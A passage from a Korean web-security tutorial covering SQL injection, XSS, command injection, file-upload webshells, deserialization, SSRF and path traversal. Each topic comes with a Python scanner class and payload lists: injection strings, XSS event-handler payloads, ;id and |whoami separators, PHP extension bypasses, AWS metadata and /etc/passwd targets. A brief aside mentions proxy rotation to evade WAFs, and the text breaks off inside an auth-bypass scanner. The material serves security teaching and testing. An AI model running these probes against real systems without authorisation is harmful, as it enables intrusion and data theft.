// 입력값이 admin' -- 이어도, DB는 이를 '문자열 값'으로만 처리한다
// SQL 문법으로 해석하지 않으므로 주입이 안 된다.
// 실제 로그인 구현은 사용자 조회 후 password_verify()로 해시를 검사한다.5.3 공격 유형
유형 | 원리 | 어떻게 확인하나 |
|---|---|---|
에러 기반 | DB 에러 메시지에 테이블/컬럼 정보가 노출 | 정상 응답에 없던 구체적 오류가 새로 나타나면 후보 |
불린 기반 | 참/거짓 조건으로 응답 내용이 달라지는지 |
|
시간 기반 | SLEEP()으로 응답 시간을 지연 |
|
NoSQL | MongoDB 등의 연산자(gt)로 조건 우회 | JSON 연산자를 보내서 응답 변화 확인 |
- 유형
에러 기반
- 원리
DB 에러 메시지에 테이블/컬럼 정보가 노출
- 어떻게 확인하나
정상 응답에 없던 구체적 오류가 새로 나타나면 후보
- 유형
불린 기반
- 원리
참/거짓 조건으로 응답 내용이 달라지는지
- 어떻게 확인하나
AND 1=1(참) vsAND 1=2(거짓) 응답 비교
- 유형
시간 기반
- 원리
SLEEP()으로 응답 시간을 지연
- 어떻게 확인하나
SLEEP(5)넣었을 때 5초 늦게 오면 발견
- 유형
NoSQL
- 원리
MongoDB 등의 연산자(gt)로 조건 우회
- 어떻게 확인하나
JSON 연산자를 보내서 응답 변화 확인
요청 사이에 time.sleep()을 넣어도 Cloudflare나 AWS WAF에 설정한 속도 제한과 페이로드 검사 규칙은 그대로 적용된다.
보통 친구들한테 물어보면 현업에서는 이를 우회하기 위해 프록시 풀(Proxy Pool) 을 돌리거나, requests 헤더를 랜덤하게 변조하는 작업을 함께 한다. 하지만 뭐 개인 사이트에서는 그거까지 할 이유는 없다.
5.4 코드: SQLi 스캐너
import requests
import time
class SQLiScanner:
"""SQL Injection 자동화 스캐너
원리:
1. 정상 요청(베이스라인)의 응답 길이/시간을 먼저 측정한다
2. 공격 페이로드를 넣은 요청을 보낸다
3. 베이스라인과 비교해서 에러/시간차/길이차이가 있으면 의심
"""
# DB 에러 메시지 패턴 — 이 문자열이 응답에 있으면 SQL 에러 발생
DB_ERROR_PATTERNS = [
"SQL syntax", # MySQL
"You have an error in your SQL syntax", # MySQL 상세
"ORA-", # Oracle
"SQLSTATE", # PDO (여러 DB)
"PG::Error", # PostgreSQL
"sqlite_", # SQLite
"Microsoft SQL Server", # MSSQL
"ODBC SQL Server", # MSSQL ODBC
"MariaDB server", # MariaDB
]
def __init__(self, session=None, delay=1.0):
self.session = session or requests.Session()
self.delay = delay # --- 요청 간 대기 시간(차단 방지)
self.results = []
def scan_get(self, url, param="id"):
"""GET 파라미터 SQLi 스캔
url = "https://example.com/search"
param = "q"
→ ?q=<페이로드> 형태로 테스트
"""
print(f"\n[SQLi] GET {url}?{param}=<payload>")
self.results = [] # 이번 호출의 관측만 반환
# --- 1. 베이스라인 측정 (정상 요청) ---
base_start = time.time()
r_base = self.session.get(url, params={param: "1"}, timeout=15)
base_elapsed = time.time() - base_start
base_len = len(r_base.text)
print(f" 베이스라인: {r_base.status_code}, {base_len}b, {base_elapsed:.1f}s")
# --- 2. 페이로드 리스트 ---
payloads = [
# [에러 기반] — DB 에러 메시지를 의도적으로 발생시킴
("1'", "single_quote"),
("1' OR '1'='1", "error_or"),
("1 UNION SELECT NULL", "union_null"),
("1 UNION SELECT 1,2,3", "union_3col"),
# [불린 기반] — 참/거짓 조건으로 응답 차이 확인
("1 AND 1=1", "boolean_true"),
("1 AND 1=2", "boolean_false"),
# [시간 기반] — SLEEP으로 응답을 지연시킴
("1 AND SLEEP(3)", "time_sleep_mysql"),
("1; WAITFOR DELAY '0:0:3'", "time_wait_mssql"),
]
# --- 3. 각 페이로드 테스트 ---
for payload, name in payloads:
time.sleep(self.delay)
start = time.time()
try:
r = self.session.get(
url, params={param: payload}, timeout=30
)
elapsed = time.time() - start
# [A] 에러 기반: 응답에 DB 에러 메시지가 있는가?
has_error = any(
p in r.text and p not in r_base.text
for p in self.DB_ERROR_PATTERNS
)
if has_error:
print(f" [{name}] 새 DB 오류 문자열 후보")
self.results.append({
"type": "db_error_candidate",
"payload": payload,
"name": name,
"status": r.status_code,
})
continue
# [B] 시간 기반: 응답이 비정상적으로 느린가?
if name.startswith("time_") and elapsed > base_elapsed + 2.0:
print(f" [{name}] 지연 후보: {elapsed:.1f}s "
f"(베이스라인 {base_elapsed:.1f}s, 대조 요청 필요)")
self.results.append({
"type": "time_candidate",
"payload": payload,
"name": name,
"elapsed": elapsed,
})
continue
# [C] 불린 기반: 응답 길이가 베이스라인과 다른가?
len_diff = abs(len(r.text) - base_len)
if name in {"boolean_true", "boolean_false"}:
print(f" [{name}] {r.status_code}, {len(r.text)}b, "
f"차이: {len_diff}b, {elapsed:.1f}s")
else:
print(f" [{name}] {r.status_code}, "
f"{len(r.text)}b, {elapsed:.1f}s")
except requests.Timeout:
# 일반 요청도 타임아웃될 수 있다. 실패와 취약점 후보를 구분한다.
print(f" [{name}] 타임아웃 (원인 미확정)")
except Exception as e:
print(f" [{name}] 오류: {e}")
return self.results
def scan_nosql(self, url, param="username", method="POST"):
"""NoSQL Injection 스캔 (MongoDB 등)
NoSQL은 JSON 기반이라 SQL과 다른 주입 방식을 쓴다.
원리:
서버가 입력을 연산자 객체로 파싱해 그대로 질의에 넣는 경우에만
$ne 등이 조건을 바꿀 수 있다. 이 예제는 form 필드에 JSON *문자열*을
보내므로 서버가 이를 객체로 다시 파싱하지 않으면 주입이 아니다.
"""
print(f"\n[NoSQLi] {method} {url} param={param}")
nosql_payloads = [
# $ne: not-equal — 서버의 쿼리 구성 방식에 따라 결과가 달라진다.
({"$ne": None}, "ne_null"),
# $gt: greater-than — 실제 결과는 데이터형·쿼리·서버 파싱에 의존
({"$gt": ""}, "gt_empty"),
# $regex: 정규식 — 문자열 값에 매칭될 수 있으나 모든 사용자라는 뜻은 아님
({"$regex": ".*"}, "regex_all"),
# $where: JavaScript — 서버에서 JS 평가
({"$where": "1==1"}, "where_true"),
]
# --- 베이스라인: 평범한 문자열 값으로 먼저 측정 ---
try:
if method == "POST":
r_base = self.session.post(
url, data={param: "baseline_value"},
timeout=15, allow_redirects=False,
)
else:
r_base = self.session.get(
url, params={param: "baseline_value"},
timeout=15, allow_redirects=False,
)
base_len = len(r_base.text)
print(f" 베이스라인: {r_base.status_code}, {base_len}b")
except Exception as e:
print(f" 베이스라인 측정 실패: {e}")
base_len = None
for payload_obj, name in nosql_payloads:
import json
payload_str = json.dumps(payload_obj)
time.sleep(self.delay)
try:
if method == "POST":
r = self.session.post(
url, data={param: payload_str},
timeout=15, allow_redirects=False
)
else:
r = self.session.get(
url, params={param: payload_str},
timeout=15, allow_redirects=False
)
if base_len is None:
print(f" [{name}] {r.status_code}, {len(r.text)}b (베이스라인 없음)")
continue
len_diff = abs(len(r.text) - base_len)
# --- 리다이렉트(302) = 로그인 성공일 가능성 ---
if r.status_code == 302:
loc = r.headers.get("Location", "")
print(f" [{name}] 302 redirect -> {loc}")
if "dashboard" in loc or "admin" in loc:
self.results.append({
"type": "nosql_redirect_candidate",
"name": name,
"redirect": loc,
})
# --- 응답 길이 차이 = 조건이 적용됐을 가능성 ---
elif len_diff > max(100, int(base_len * 0.2)):
print(f" [{name}] 응답 차이: {len_diff}b (임계값 base*0.2, 대상에 맞춰 조정)")
self.results.append({
"type": "nosql_candidate",
"name": name,
"len_diff": len_diff,
})
else:
print(f" [{name}] {r.status_code}, "
f"{len(r.text)}b")
except Exception as e:
print(f" [{name}] 오류: {e}")
return self.results판정 기준: 이 예제의 지연·응답 길이·리다이렉트는 모두 조사 후보를 고르는 신호다. 코드의 임계값(지연 margin 2.0초, 길이 base*0.2)은 대상마다 베이스라인에서 다시 잡아야 하는 출발점이다. 시간 기반은 동일한 세션·입력 조건에서 지연 페이로드와 비지연 대조 페이로드를 여러 번 교차 측정하고, 불린 기반은 참/거짓 응답의 의미까지 확인한다. HTTP 지연이나 302 하나를 SQLi·로그인 성공으로 보고하지 않는다. OWASP SQL Injection Testing
6. XSS (Cross-Site Scripting)
6.1 XSS가 뭔데?
XSS는 공격자의 JavaScript 코드가 피해자의 브라우저에서 실행되는 취약점이다.
[공격자가 함정 링크 배포]
|
v
[피해자 클릭]
https://example.com/search?q=<script>alert('쿠키:'+document.cookie)</script>
|
v
[서버] 검색어를 그대로 HTML에 포함해서 응답
|
v
[피해자 브라우저] <script> 태그를 보고 JavaScript 실행
→ 페이지 권한으로 허용된 동작 수행 가능
→ HttpOnly 쿠키 값은 document.cookie에서 읽을 수 없음6.2 XSS의 세 가지 유형
유형 | 원리 | 예 |
|---|---|---|
반사형(Reflected) | 입력값이 응답 HTML에 그대로 포함 | 검색어가 결과 페이지에 표시 |
저장형(Stored) | 입력값이 DB에 저장되고 다른 사용자에게 표시 | 게시글/댓글에 스크립트 삽입 |
DOM 기반 | JavaScript가 DOM을 조작하면서 실행 |
|
- 유형
반사형(Reflected)
- 원리
입력값이 응답 HTML에 그대로 포함
- 예
검색어가 결과 페이지에 표시
- 유형
저장형(Stored)
- 원리
입력값이 DB에 저장되고 다른 사용자에게 표시
- 예
게시글/댓글에 스크립트 삽입
- 유형
DOM 기반
- 원리
JavaScript가 DOM을 조작하면서 실행
- 예
eval(location.hash)
6.3 왜 인코딩으로 막는가?
HTML에서 <와 >는 태그 시작/끝이다. 이걸 < >로 바꾸면 브라우저가 태그가 아닌 일반 문자로 표시한다.
입력: <script>alert(1)</script>
인코딩: <script>alert(1)</script>
표시: <script>alert(1)</script> (실행되지 않고 글자로만 보임)HTML 텍스트 문맥에서는 이 인코딩이 도움이 된다. 속성·JavaScript·URL 문맥은 각각 다른 규칙을 적용하며, 원문 반사 여부만으로 XSS의 실행 가능성을 확정할 수 없다. OWASP XSS Prevention
6.4 코드: XSS 스캐너
import requests
import time
class XSSScanner:
def __init__(self, session=None, delay=1.0):
self.session = session or requests.Session()
self.delay = delay
self.results = []
def scan_get(self, url, params=None):
"""GET 파라미터 XSS 스캔
원리:
1. <script>alert(1)</script> 같은 페이로드를 파라미터에 넣음
2. 응답 HTML에서 페이로드가 그대로 있는지 확인
3. 그대로 있으면 → 서버가 인코딩하지 않았음 = XSS 가능성
4. < 형태로 변환되어 있으면 → HTML 텍스트 문맥에서 인코딩된 단서
"""
if params is None:
params = {"q": "test"}
print(f"\n[XSS] GET {url}")
# --- 페이로드 목록 ---
# 다양한 우회 기법을 포함한다:
# - 일반: <script>alert(1)</script>
# - 속성 탈출: "><script>alert(1)</script>
# - 이벤트 핸들러: <img src=x onerror=alert(1)>
# - SVG: <svg onload=alert(1)>
payloads = [
"<script>alert(1)</script>",
"\"><script>alert(1)</script>",
"<img src=x onerror=alert(1)>",
"<svg onload=alert(1)>",
"<body onload=alert(1)>",
"<details open ontoggle=alert(1)>",
"javascript:alert(1)",
]
for param in params:
for payload in payloads:
time.sleep(self.delay)
try:
r = self.session.get(
url, params={param: payload}, timeout=15
)
# [1] 페이로드가 응답에 그대로 있는가?
if payload in r.text:
print(f" [{param}] 원문 반사 후보 -> {payload[:40]}")
self.results.append({
"param": param,
"payload": payload,
"type": "reflection_candidate",
"response_len": len(r.text),
})
elif (payload.replace("<", "<")
.replace(">", ">")) in r.text:
print(f" [{param}] HTML 이스케이프 관측")
# --- 부분 반사 (따옴표만 빠진 경우 등) ---
elif payload.replace("<script>", "") in r.text:
print(f" [{param}] 부분 반사 -> {payload[:40]}")
self.results.append({
"param": param,
"payload": payload,
"type": "partial",
})
except Exception as e:
print(f" [{param}] 오류: {e}")
return self.results
def find_dom_sinks(self, js_code):
"""JavaScript 코드에서 DOM XSS 싱크를 찾는다.
싱크(sink)란: 외부 입력이 도달하면 위험한 실행이
일어나는 함수/속성.
주요 싱크:
- eval(): 문자열을 JavaScript 코드로 실행
- innerHTML: HTML을 DOM에 파싱해 삽입 (삽입한 script 태그는 보통 실행되지 않지만 다른 활성 문맥은 위험)
- document.write(): HTML을 문서에 직접 쓰기
- setTimeout/setInterval: 문자열을 코드로 실행
"""
sinks = {
"eval(": "eval — 문자열을 JS 코드로 실행",
"innerHTML": "innerHTML — HTML 삽입",
"document.write": "document.write — 문서에 HTML 쓰기",
"setTimeout(": "setTimeout — 문자열 코드 실행",
"setInterval(": "setInterval — 문자열 코드 실행",
"location.href =": "location.href — 리다이렉트",
}
found = []
for pattern, desc in sinks.items():
if pattern in js_code:
print(f" [DOM XSS 싱크] {desc}")
found.append({
"sink": pattern,
"description": desc,
})
return found한계: 이 스캐너는 원문 반사·부분 반사를 찾을 뿐, 브라우저 실행이나 방어 적합성을 증명하지 않는다.
location.hash는 입력 소스,document.cookie는 데이터 접근 지점이며 실행 싱크가 아니다. 실행 문맥·CSP·DOM 데이터 흐름을 별도로 확인한다.
7. RCE (원격 코드 실행)
7.1 RCE가 뭔가?
RCE는 서버 프로세스의 권한으로 의도하지 않은 코드를 실행하게 되는 취약점이다. 명령 주입은 그 한 경로다. 실제 영향은 프로세스 권한·샌드박스·네트워크 정책에 달려 있으므로 곧바로 서버 전체 장악으로 단정하지 않는다.
7.2 어떻게 발생하나?
// [취약한 코드] — 사용자 입력을 시스템 명령어에 넣음
$cmd = $_GET["cmd"];
system("ping " . $cmd); // system()은 OS 명령어를 실행한다
// 입력: cmd=8.8.8.8; cat /etc/passwd
// 실행: ping 8.8.8.8; cat /etc/passwd
// → 비밀번호 파일이 출력됨;는 쉘에서 "명령어 구분자"다. ping 8.8.8.8 다음에 ; cat /etc/passwd가 붙으면 두 명령이 연속으로 실행된다.
7.3 RCE의 세 가지 경로
경로 | 원리 | 테스트 방법 |
|---|---|---|
명령어 주입 |
|
|
파일 업로드 |
| 확장자 우회로 웹쉘 업로드 |
역직렬화 |
| 직렬화된 악성 객체 주입 |
- 경로
명령어 주입
- 원리
system(),exec()에 사용자 입력- 테스트 방법
; id,| whoami주입
- 경로
파일 업로드
- 원리
.php파일을 업로드하고 실행- 테스트 방법
확장자 우회로 웹쉘 업로드
- 경로
역직렬화
- 원리
unserialize()에서 객체 복원 시 코드 실행- 테스트 방법
직렬화된 악성 객체 주입
7.4 코드: RCE 스캐너
import requests
import time
class RCEScanner:
def __init__(self, session=None, delay=1.0):
self.session = session or requests.Session()
self.delay = delay
self.results = []
# ============================================
# 7.4.1 명령어 주입 테스트
# ============================================
def test_command_injection(self, url, param="cmd"):
"""명령어 주입 테스트
원리:
'id' 명령어는 Linux에서 현재 사용자 정보를 출력한다.
응답에 'uid=' 같은 문자열이 새로 나타나면 실행 가능성의 단서다.
같은 문자열이 정상 페이지에도 있는지 먼저 대조해야 한다.
왜 id를 쓰는가? 일반적인 Linux 환경에서 출력 형태를
알아보기 쉽지만, 운영체제·권한·응답 문맥에 따라 결과가 달라진다.
"""
print(f"\n[RCE] 명령어 주입: {url}?{param}=<payload>")
# --- 명령어 주입을 위한 페이로드 ---
# 다양한 구분자로 명령어를 이어 붙인다:
# ; — 명령어 구분 (셸)
# | — 파이프 (앞 명령 결과를 뒤에 전달)
# && — 논리 AND (앞이 성공하면 뒤도 실행)
# $() — 명령어 치환
payloads = [
(";id", "semicolon_id"),
("|id", "pipe_id"),
("&&id", "and_id"),
("$(id)", "substitution_id"),
(";whoami", "semicolon_whoami"),
("|whoami", "pipe_whoami"),
]
# --- RCE 성공 지표 ---
# 'id' 명령어 출력: uid=33(www-data) gid=33(www-data)
# 'whoami' 출력: www-data
rce_indicators = ["uid=", "gid="]
for payload, name in payloads:
time.sleep(self.delay)
try:
r = self.session.get(
url, params={param: payload}, timeout=15
)
for indicator in rce_indicators:
if indicator in r.text:
print(f" [{name}] 명령 출력 후보 -> {indicator} 발견")
self.results.append({
"type": "command_output_candidate",
"payload": payload,
"name": name,
"indicator": indicator,
"response": r.text[:500],
})
break
else:
print(f" [{name}] {r.status_code}, "
f"{len(r.text)}b")
except Exception as e:
print(f" [{name}] 오류: {e}")
return self.results
# ============================================
# 7.4.2 웹쉘 업로드 테스트
# ============================================
def test_webshell_upload(self, upload_url, file_param="file"):
"""웹쉘 업로드 테스트
원리:
1. 고정 마커만 출력하는 PHP 파일의 업로드를 시도
2. 허가된 테스트 위치에서 마커가 서버 측에서 실행되는지 확인
3. 실행 관측은 서버 측 코드 실행의 증거지만 권한 범위는 별도 확인
확장자 우회:
- .php는 막아도 .phtml, .php5, .phar는 안 막는 경우가 있음
- .php.jpg는 Apache가 .php로 인식하는 경우가 있음
- .php%00.jpg는 Null 바이트로 끊어서 .php로 인식 (구버전)
"""
print(f"\n[RCE] 웹쉘 업로드: {upload_url}")
# 명령 실행 기능 없이 고정 마커만 출력한다.
shell_content = '<?php echo "UPLOAD_MARKER_XYZ123"; ?>'
# --- 시도할 확장자들 ---
filenames = [
("shell.php", "application/x-php"), # 기본
("shell.phtml", "application/x-php"), # PHP HTML
("shell.php5", "application/x-php"), # PHP 5
("shell.phar", "application/octet-stream"), # PHP 아카이브
("shell.php.jpg", "image/jpeg"), # 더블 확장자
("shell.php%00.jpg","image/jpeg"), # Null 바이트
]
for filename, content_type in filenames:
time.sleep(self.delay)
try:
files = {file_param: (filename, shell_content, content_type)}
r = self.session.post(upload_url, files=files, timeout=15)
print(f" [{filename}] {r.status_code} ({len(r.text)}b)")
if r.status_code == 200 and "upload" in r.text.lower():
print(f" -> 업로드 응답 감지")
self.results.append({
"type": "upload_attempt",
"filename": filename,
"status": r.status_code,
})
except Exception as e:
print(f" [{filename}] 오류: {e}")
# --- 업로드된 파일의 서버 측 실행 여부 확인 ---
# 업로드 경로를 추측해서 마커가 있는지 확인
base_url = upload_url.rsplit("/", 1)[0]
check_paths = [
"uploads/shell.php", "upload/shell.php",
"files/shell.php", "static/shell.php",
]
for path in check_paths:
time.sleep(self.delay)
try:
r = self.session.get(
f"{base_url}/{path}", timeout=10
)
if "UPLOAD_MARKER_XYZ123" in r.text and "<?php" not in r.text:
print(f" [서버 측 실행 후보] {base_url}/{path}")
self.results.append({
"type": "upload_execution_candidate",
"path": f"{base_url}/{path}",
"response": r.text[:500],
})
return f"{base_url}/{path}"
except Exception:
pass
return None
# ============================================
# 7.4.3 역직렬화 테스트
# ============================================
def test_deserialization(self, url, cookie_name="session"):
"""PHP 역직렬화(deserialization) 테스트
원리:
PHP는 객체를 문자열로 저장(직렬화)하고 복원(역직렬화)한다.
unserialize()가 사용자 입력을 받으면, 악의적으로
조작된 객체가 __wakeup()이나 __destruct() 메서드를
실행하면서 코드가 실행될 수 있다.
PHP 직렬화 형식:
O:클래스명길이:"클래스명":속성수:{속성...}
a:요소수:{키;값;...} (배열)
s:길이:"문자열" (문자열)
i:정수 (정수)
b:0/1 (불린)
예: O:8:"stdClass":0:{} → 빈 stdClass 객체
"""
import base64
print(f"\n[RCE] 역직렬화: {url}")
# --- 역직렬화 페이로드 ---
payloads = [
# 빈 객체 — 에러 메시지로 역직렬화 동작 확인
("O:8:\"stdClass\":0:{}", "empty_object"),
# 배열 — 일반적인 PHP 배열
('a:1:{s:4:"test";s:4:"data";}', "array"),
# CodeIgniter 세션 형식
('a:2:{s:3:"sid";s:4:"test";s:4:"data";s:4:"aaaa";}',
"ci_session"),
]
deserialization_indicators = [
"unserialize", "__wakeup", "__destruct",
"Object of class", "Stack trace",
"Fatal error",
]
for serialized, name in payloads:
time.sleep(self.delay)
try:
# --- 쿠키는 Base64로 인코딩해서 보내는 경우가 많음 ---
encoded = base64.b64encode(
serialized.encode()
).decode()
r = self.session.get(
url, cookies={cookie_name: encoded}, timeout=15
)
for indicator in deserialization_indicators:
if indicator in r.text:
print(f" [{name}] 역직렬화 반응! -> {indicator}")
self.results.append({
"type": "deserialization_response_candidate",
"name": name,
"indicator": indicator,
"response": r.text[:500],
})
break
else:
print(f" [{name}] {r.status_code}, {len(r.text)}b")
except Exception as e:
print(f" [{name}] 오류: {e}")
return self.results판정과 조치: 빈 객체·오류 문자열 반사는 역직렬화 경로의 단서일 뿐 RCE 증명이 아니다. 신뢰되지 않은 PHP 직렬화 데이터를
unserialize()에 넣지 않는 것이 우선이다.allowed_classes제한도 불신 데이터의 안전한 역직렬화를 보장하지 않는다.
8. SSRF (서버 측 요청 위조)
8.1 SSRF가 뭔가?
SSRF는 서버가 사용자의 요청에 적힌 URL을 대신 방문할 때 발생한다.
[공격자] "https://example.com/fetch?url=http://127.0.0.1/admin"
→ [서버] "http://127.0.0.1/admin을 방문해야겠다"
→ [서버가 내부망에 요청] → 내부 admin 페이지 응답
→ [서버가 응답을 공격자에게 전달]서버는 내부망(127.0.0.1, 192.168.x.x)에 접근할 수 있지만 외부 공격자는 직접 접근할 수 없다. SSRF는 이 권한 차이를 이용한다.
검증은 먼저 시험자가 소유한 콜백 주소처럼 응답을 확인할 수 있는 목적지에서 시작한다. 애플리케이션이 실제로 서버 측 요청을 보냈는지, 단지 입력 URL을 화면에 반사했는지 구별한 뒤 허가된 내부 목적지만 확인한다. 포트마다 프로토콜이 다르므로 HTTP URL을 Redis 포트에 넣었다는 사실만으로 Redis 명령이나 데이터에 접근했다고 결론 내리지 않는다.
8.2 SSRF의 위험한 목적지
목적지 | 의미 | 얻을 수 있는 것 |
|---|---|---|
| 로컬 서버 | 내부 서비스 노출 |
| Redis 포트일 수 있음 | 연결과 프로토콜 해석 여부를 별도로 확인 |
| AWS 메타데이터 | IMDSv1 허용 여부와 IMDSv2 토큰 요구에 따라 접근 범위가 달라짐 |
| 로컬 파일 | 시스템 파일 읽기 |
| Gopher 프로토콜 | 서버 측 HTTP 클라이언트가 지원하고 내부 서비스에 닿는 경우 추가 경로가 됨 |
- 목적지
http://127.0.0.1/- 의미
로컬 서버
- 얻을 수 있는 것
내부 서비스 노출
- 목적지
http://127.0.0.1:6379/- 의미
Redis 포트일 수 있음
- 얻을 수 있는 것
연결과 프로토콜 해석 여부를 별도로 확인
- 목적지
http://169.254.169.254/- 의미
AWS 메타데이터
- 얻을 수 있는 것
IMDSv1 허용 여부와 IMDSv2 토큰 요구에 따라 접근 범위가 달라짐
- 목적지
file:///etc/passwd- 의미
로컬 파일
- 얻을 수 있는 것
시스템 파일 읽기
- 목적지
gopher://- 의미
Gopher 프로토콜
- 얻을 수 있는 것
서버 측 HTTP 클라이언트가 지원하고 내부 서비스에 닿는 경우 추가 경로가 됨
8.3 코드: SSRF 스캐너
import requests
import time
class SSRFScanner:
def __init__(self, session=None, delay=1.0):
self.session = session or requests.Session()
self.delay = delay
self.results = []
def scan(self, url, param="url"):
"""SSRF 테스트
원리:
1. 내부 주소(127.0.0.1 등)를 파라미터에 넣음
2. 서버가 이 주소를 방문하면 응답이 달라짐
3. 응답에서 내부 서비스의 흔적을 찾음
확인하는 응답 지표:
- "root:x:" → /etc/passwd 내용 (file:// 성공)
- "redis_version" → Redis 관련 문자열 관측 (원래 페이지와 대조 필요)
- "ami-id" → AWS 메타데이터 응답 후보 (IMDSv1이 허용된 경우 등)
- 응답 시간 차이 → 원인을 알 수 없는 후보; 네트워크 지연과 구별 필요
"""
print(f"\n[SSRF] {url}?{param}=<target>")
# --- SSRF 페이로드 목록 ---
payloads = [
# [로컬 호스트] — 서버 자기 자신
("http://127.0.0.1/", "localhost_80"),
("http://127.0.0.1:6379/", "localhost_redis"),
("http://127.0.0.1:3306/", "localhost_mysql"),
("http://127.0.0.1:8080/", "localhost_8080"),
# [클라우드 메타데이터] — 169.254.169.254는 여러 클라우드가 공유하는 링크-로컬 주소다.
# 경로와 요구 조건이 다르다. 아래는 AWS 전용 경로.
("http://169.254.169.254/latest/meta-data/", "aws_meta"),
# GCP는 경로가 다르고 'Metadata-Flavor: Google' 헤더를 서버가 보내야 응답한다.
("http://169.254.169.254/computeMetadata/v1/", "gcp_meta"),
# [file:// 프로토콜] — 로컬 파일 읽기
("file:///etc/passwd", "file_passwd"),
# [IP 우회 기법] — IP 필터를 회피
("http://0x7f000001/", "hex_ip"), # 16진수
("http://0177.0.0.1/", "octal_ip"), # 8진수
("http://[::1]/", "ipv6_loop"), # IPv6 루프백
]
# --- SSRF 성공 지표 ---
ssrf_indicators = [
"root:x:0:0", # /etc/passwd
"redis_version", # Redis INFO
"PONG", # Redis PING 응답
"ami-id", # AWS 메타데이터
"instance-id", # AWS 메타데이터
]
for payload, name in payloads:
time.sleep(self.delay)
try:
r = self.session.get(
url, params={param: payload}, timeout=15
)
for indicator in ssrf_indicators:
if indicator in r.text:
print(f" [{name}] 내부 응답 후보 -> {indicator}")
self.results.append({
"type": "ssrf_candidate",
"name": name,
"payload": payload,
"indicator": indicator,
"response_status": r.status_code,
})
break
else:
print(f" [{name}] {r.status_code}, "
f"{len(r.text)}b")
except Exception as e:
print(f" [{name}] 오류: {e}")
return self.resultsAWS에서 확인할 조건: EC2 메타데이터 서비스는 IAM 역할 등의 정보를 제공할 수 있다. 다만 IMDSv2를 필수로 설정했다면 토큰 발급용
PUT과 토큰 헤더가 필요하므로 위의 단순 GET 예제만으로 자격 증명 노출을 결론 내릴 수 없다. 내부 연결·응답·자격 증명 노출은 각각 다른 증거다. AWS IMDS 공식 문서
9. 경로 순회 (Path Traversal)
9.1 원리
../는 "상위 디렉터리"를 의미한다.
/var/www/html/files/../../../../etc/passwd
= /var/www/html/files/ → /var/www/html/ → /var/www/ → /var/ → / → /etc/passwd웹 서버가 사용자 입력을 파일 경로로 쓸 때 ../를 걸러내지 않으면, 허용된 디렉터리 밖의 파일을 읽을 수 있다.
9.2 인코딩 우회 원리
서버가 ../를 걸러내더라도 인코딩된 형태는 못 걸러낼 수 있다:
인코딩 | 의미 | 통과 여부 |
|---|---|---|
| 일반 | 걸러짐 |
| URL 인코딩 | 필터가 |
| 더블 인코딩 | 앞단 검증과 뒷단 해석이 서로 다른 횟수로 디코딩할 때 위험 |
| 치환 후 남은 패턴 |
|
- 인코딩
../- 의미
일반
- 통과 여부
걸러짐
- 인코딩
%2e%2e%2f- 의미
URL 인코딩
- 통과 여부
필터가
%2e를 모르면 통과
- 인코딩
%252e%252e%252f- 의미
더블 인코딩
- 통과 여부
앞단 검증과 뒷단 해석이 서로 다른 횟수로 디코딩할 때 위험
- 인코딩
....//- 의미
치환 후 남은 패턴
- 통과 여부
../만 지우면..+//=../가 됨
9.3 코드: 경로 순회 스캐너
import requests
import time
class PathTraversalScanner:
def __init__(self, session=None, delay=1.0):
self.session = session or requests.Session()
self.delay = delay
self.results = []
def scan(self, url, param="file"):
"""경로 순회 테스트
원리:
1. 파일을 읽는 파라미터에 ../../etc/passwd를 넣음
2. 응답에 'root:x:0:0' 같은 /etc/passwd 내용이 있으면 성공
3. 경로 깊이와 서버의 정규화 동작을 대조한다
"""
print(f"\n[Path Traversal] {url}?{param}=<path>")
payloads = [
# --- Linux 경로 ---
("../../../etc/passwd", "linux_basic"),
("../../../../etc/passwd", "linux_deep"),
("../../../etc/hosts", "linux_hosts"),
# --- 치환 우회 ---
# ../를 지우는 필터가 ..만 남겨서 다시 ../가 됨
("....//....//....//etc/passwd",
"dot_filter_bypass"),
# --- Windows 경로 ---
("..\\..\\..\\windows\\win.ini", "windows_winini"),
("..\\..\\..\\windows\\system32\\"
"drivers\\etc\\hosts", "windows_hosts"),
# --- 절대 경로 ---
("/etc/passwd", "absolute_path"),
]
# --- 성공 지표 ---
# /etc/passwd 내용: root:x:0:0:root:/root:/bin/bash
# /etc/hosts 내용: 127.0.0.1 localhost
# win.ini 내용: [fonts], [extensions]
traversal_indicators = [
"root:x:0:0", # /etc/passwd (Linux)
"127.0.0.1", # /etc/hosts (Linux) / hosts (Windows)
"[fonts]", # win.ini (Windows)
"MAPI=1", # win.ini (Windows)
]
for payload, name in payloads:
time.sleep(self.delay)
try:
r = self.session.get(
url, params={param: payload}, timeout=15
)
for indicator in traversal_indicators:
if indicator in r.text:
print(f" [{name}] 파일 응답 후보 -> {indicator}")
self.results.append({
"type": "path_traversal_candidate",
"name": name,
"payload": payload,
"indicator": indicator,
"response_status": r.status_code,
})
break
else:
print(f" [{name}] {r.status_code}, "
f"{len(r.text)}b")
except Exception as e:
print(f" [{name}] 오류: {e}")
return self.results인코딩 예제의 실행 경계: 위 코드는
requests의params인자를 쓰므로%2e를 값으로 주면 실제 URL에서는%252e로 전송된다. 표의 인코딩 예시를 그대로 재현하려면 준비된 최종 URL의 바이트를 확인해야 한다. 민감한 시스템 파일이나 환경 변수는 기본 자동 점검 대상에서 뺐다.
안전한 코드란? 파일 식별자를 허용 목록의 경로에 매핑한다. 사용자 경로가 꼭 필요하다면 정규화된 경로의 디렉터리 경계를 검사하고 심볼릭 링크·경쟁 상태까지 실제 파일 열기 시점에 고려한다. 문자열 접두사 비교만으로 허용 디렉터리 내부라고 판정하지 않는다.
10. 인증 우회 / IDOR / CSRF
이 장은 테스트 계정과 테스트 객체가 먼저 준비되어야 한다. IDOR은 소유자가 다른 두 계정으로 같은 객체를 조회했을 때의 차이를 확인하고, CSRF는 상태 변경 전후와 브라우저의 교차 사이트 요청 조건을 확인한다. 아래의 상태 코드·응답 길이 검사는 그 대조를 대신하지 못한다. 기본 비밀번호 시도는 잠금 정책과 허가된 시도 횟수 안에서만 수행한다.
10.1 인증 우회 — SQLi 기반
import requests
import time
import json
class AuthScanner:
def __init__(self, session=None, delay=1.0):
self.session = session or requests.Session()
self.delay = delay
self.results = []
def test_auth_bypass(self, login_url,
user_field="username",
pw_field="password"):
"""로그인 인증 우회 테스트
원리:
로그인 쿼리가 이렇다면:
SELECT * FROM users WHERE username='X' AND password='Y'
username에 admin' -- 를 넣으면:
SELECT * FROM users WHERE username='admin' --'
AND password='Y'
→ -- 뒤가 주석 처리되어 비밀번호 검사 무시
→ admin 계정으로 로그인 성공
성공 지표:
- 302 리다이렉트나 로그인 후 페이지 단서는 추가 확인용 후보
- 실제로 허가된 계정의 보호 리소스에 접근 가능한지 대조 필요
"""
print(f"\n[Auth Bypass] {login_url}")
